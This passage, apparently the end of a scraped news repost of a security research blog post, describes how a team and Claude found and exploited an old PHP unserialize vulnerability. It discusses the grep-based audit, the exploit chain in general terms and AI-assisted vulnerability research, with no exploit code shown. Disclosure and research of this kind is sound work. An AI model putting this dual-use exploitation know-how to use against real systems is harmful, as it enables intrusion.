grep patterns the audit runs on. A dry run against PHP 5.6.40 rediscovered all 12 phpcodz advisories; the 8.5.5 run flagged the Serializable var_hash sharing as new.\n\nExploitation was a separate effort. We supplied a corpus of old unserialize exploits and steered the high-level strategy; Claude wrote both [exploits and the technical writeup](https://github.com/califio/publications/tree/main/MADBugs/php). We verify the PoCs end-to-end and otherwise ship the model's output as-is.\n\nIt's tempting to read that as \"AI does vulnerability research now.\" What the MAD Bugs series actually shows is that the best results come from expert humans and AI working together.\n\nPeople didn't stop hiking when cars were invented; cars let them reach more interesting trailheads.\n\nAI lowers the floor for newcomers and gives existing researchers a serious amplifier. The remote chain here is a good example: most of it is ELF plumbing (program headers, `.gnu_hash`\n\n, GOT layout), the kind of byte-offset bookkeeping that is tedious to write by hand and that an AI gets right on the first try. Strip that tedium out and what's left is the exciting part.\n\nSo we think this is a great time to get into vulnerability research with AI (VRAI, if you want a label). PHP is a fun place to start: it sits between \"the web\" and \"low-level engine internals,\" so one target gives you both the reach of web bugs and the mechanics of native memory corruption. We hope this post is a useful trailhead.", "url": "https://wpnews.pro/news/mad-bugs-finding-and-exploiting-a-21-year-old-vulnerability-in-php", "canonical_source": "https://blog.calif.io/p/mad-bugs-finding-and-exploiting-a", "published_at": "2026-05-01 23:38:42+00:00", "updated_at": "2026-05-29 07:03:23.357221+00:00", "lang": "en", "topics": ["ai-research", "ai-safety", "ai-products", "ai-tools", "ai-agents"], "entities": ["Stefan Esser", "Calif.", "PHP", "MAD Bugs"], "alternates": {"html": "https://wpnews.pro/news/mad-bugs-finding-and-exploiting-a-21-year-old-vulnerability-in-php", "markdown": "https://wpnews.pro/news/mad-bugs-finding-and-exploiting-a-21-year-old-vulnerability-in-php.md", "text": "https://wpnews.pro/news/mad-bugs-finding-and-exploiting-a-21-year-old-vulnerability-in-php.txt", "jsonld": "https://wpnews.pro/news/mad-bugs-finding-and-exploiting-a-21-year-old-vulnerability-in-php.jsonld"}}